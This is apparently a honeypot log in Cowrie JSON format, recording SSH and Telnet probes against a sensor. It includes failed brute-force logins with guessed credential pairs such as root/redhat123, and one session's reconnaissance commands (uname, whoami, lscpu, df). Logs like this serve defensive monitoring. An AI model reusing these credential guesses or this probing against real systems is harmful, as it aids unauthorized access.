{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:52.349955Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:52.601667Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:53.141224Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:53.144282Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.100380182266235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:53.149362Z","src_ip":"69.6.249.0","session":"9a90e08ae5d6","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:53.395255Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:53.936694Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:53.940177Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:54.193973Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:54.732625Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:54.736434Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:54.988209Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.1","message":"Connection lost after 21.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:54.994009Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":44159,"dst_ip":"10.17.0.5","dst_port":23,"session":"4629c9925e07","protocol":"telnet","message":"New connection: 212.55.149.117:44159 (10.17.0.5:23) [session: 4629c9925e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:02.878327Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56504,"dst_ip":"10.17.0.5","dst_port":22,"session":"12c26f8fe079","protocol":"ssh","message":"New connection: 103.15.226.202:56504 (10.17.0.5:22) [session: 12c26f8fe079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:14.962807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:14.967772Z","src_ip":"103.15.226.202","session":"12c26f8fe079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:15.215592Z","src_ip":"103.15.226.202","session":"12c26f8fe079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat123","message":"login attempt [root/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:15.966338Z","src_ip":"103.15.226.202","session":"12c26f8fe079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:17.215462Z","src_ip":"103.15.226.202","session":"12c26f8fe079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58076,"dst_ip":"159.203.135.109","dst_port":23,"session":"94c9cc6ce8d9","protocol":"telnet","message":"New connection: 69.6.249.0:58076 (159.203.135.109:23) [session: 94c9cc6ce8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:32.242810Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":52690,"dst_ip":"159.203.135.109","dst_port":22,"session":"30c82febc85e","protocol":"ssh","message":"New connection: 163.7.6.74:52690 (159.203.135.109:22) [session: 30c82febc85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:55.198268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:55.203156Z","src_ip":"163.7.6.74","session":"30c82febc85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:55.458053Z","src_ip":"163.7.6.74","session":"30c82febc85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"root123","message":"login attempt [ftpuser/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:56.509955Z","src_ip":"163.7.6.74","session":"30c82febc85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:28:57.768810Z","src_ip":"163.7.6.74","session":"30c82febc85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.156415939331055,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:03.034623Z","src_ip":"212.55.149.117","session":"4629c9925e07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.587680101394653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:03.830361Z","src_ip":"69.6.249.0","session":"94c9cc6ce8d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.9.102.172","src_port":42338,"dst_ip":"159.203.135.109","dst_port":23,"session":"a07b7d56735e","protocol":"telnet","message":"New connection: 124.9.102.172:42338 (159.203.135.109:23) [session: a07b7d56735e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:28.138364Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":57894,"dst_ip":"159.203.135.109","dst_port":23,"session":"9649f238b6e4","protocol":"telnet","message":"New connection: 69.6.249.0:57894 (159.203.135.109:23) [session: 9649f238b6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:31.803665Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39858,"dst_ip":"159.203.135.109","dst_port":23,"session":"681c444bbc57","protocol":"telnet","message":"New connection: 69.6.249.0:39858 (159.203.135.109:23) [session: 681c444bbc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:39.120092Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.29.88","src_port":50380,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6bb690d33d","protocol":"telnet","message":"New connection: 154.83.29.88:50380 (10.17.0.5:23) [session: da6bb690d33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:43.877820Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47720,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b7a205769d","protocol":"ssh","message":"New connection: 80.94.92.186:47720 (159.203.135.109:22) [session: 51b7a205769d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:45.201756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:45.282777Z","src_ip":"80.94.92.186","session":"51b7a205769d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:45.409788Z","src_ip":"80.94.92.186","session":"51b7a205769d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:46.354886Z","src_ip":"80.94.92.186","session":"51b7a205769d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:47.681490Z","src_ip":"80.94.92.186","session":"51b7a205769d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.32317566871643,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:58.200769Z","src_ip":"154.83.29.88","session":"da6bb690d33d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":57052,"dst_ip":"159.203.135.109","dst_port":22,"session":"af465281b83e","protocol":"ssh","message":"New connection: 163.7.6.74:57052 (159.203.135.109:22) [session: af465281b83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:58.631805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:58.639174Z","src_ip":"163.7.6.74","session":"af465281b83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.62439465522766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:58.762620Z","src_ip":"124.9.102.172","session":"a07b7d56735e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:58.896469Z","src_ip":"163.7.6.74","session":"af465281b83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwertyuiop","message":"login attempt [postgres/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:29:59.948448Z","src_ip":"163.7.6.74","session":"af465281b83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:01.205427Z","src_ip":"163.7.6.74","session":"af465281b83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.938806772232056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:04.742358Z","src_ip":"69.6.249.0","session":"9649f238b6e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55844,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff5fb9cbcd6","protocol":"telnet","message":"New connection: 69.6.249.0:55844 (159.203.135.109:23) [session: 5ff5fb9cbcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:07.011237Z"}
{"eventid":"cowrie.session.closed","duration":31.194151163101196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:10.314103Z","src_ip":"69.6.249.0","session":"681c444bbc57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46916,"dst_ip":"159.203.135.109","dst_port":23,"session":"145f639c5578","protocol":"telnet","message":"New connection: 69.6.249.0:46916 (159.203.135.109:23) [session: 145f639c5578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:15.382807Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46932,"dst_ip":"159.203.135.109","dst_port":23,"session":"935eae77dd8b","protocol":"telnet","message":"New connection: 69.6.249.0:46932 (159.203.135.109:23) [session: 935eae77dd8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:22.443049Z"}
{"eventid":"cowrie.session.closed","duration":31.125755071640015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:38.136853Z","src_ip":"69.6.249.0","session":"5ff5fb9cbcd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162867546081543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:46.545523Z","src_ip":"69.6.249.0","session":"145f639c5578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00509214401245,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:54.448018Z","src_ip":"69.6.249.0","session":"935eae77dd8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":53856,"dst_ip":"159.203.135.109","dst_port":23,"session":"c99d6efcd6f2","protocol":"telnet","message":"New connection: 69.6.249.0:53856 (159.203.135.109:23) [session: c99d6efcd6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:30:57.380634Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":58626,"dst_ip":"159.203.135.109","dst_port":22,"session":"81507d081a23","protocol":"ssh","message":"New connection: 163.7.6.74:58626 (159.203.135.109:22) [session: 81507d081a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:01.725820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:01.729983Z","src_ip":"163.7.6.74","session":"81507d081a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:01.977474Z","src_ip":"163.7.6.74","session":"81507d081a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:03.001918Z","src_ip":"163.7.6.74","session":"81507d081a23","protocol":"ssh"}
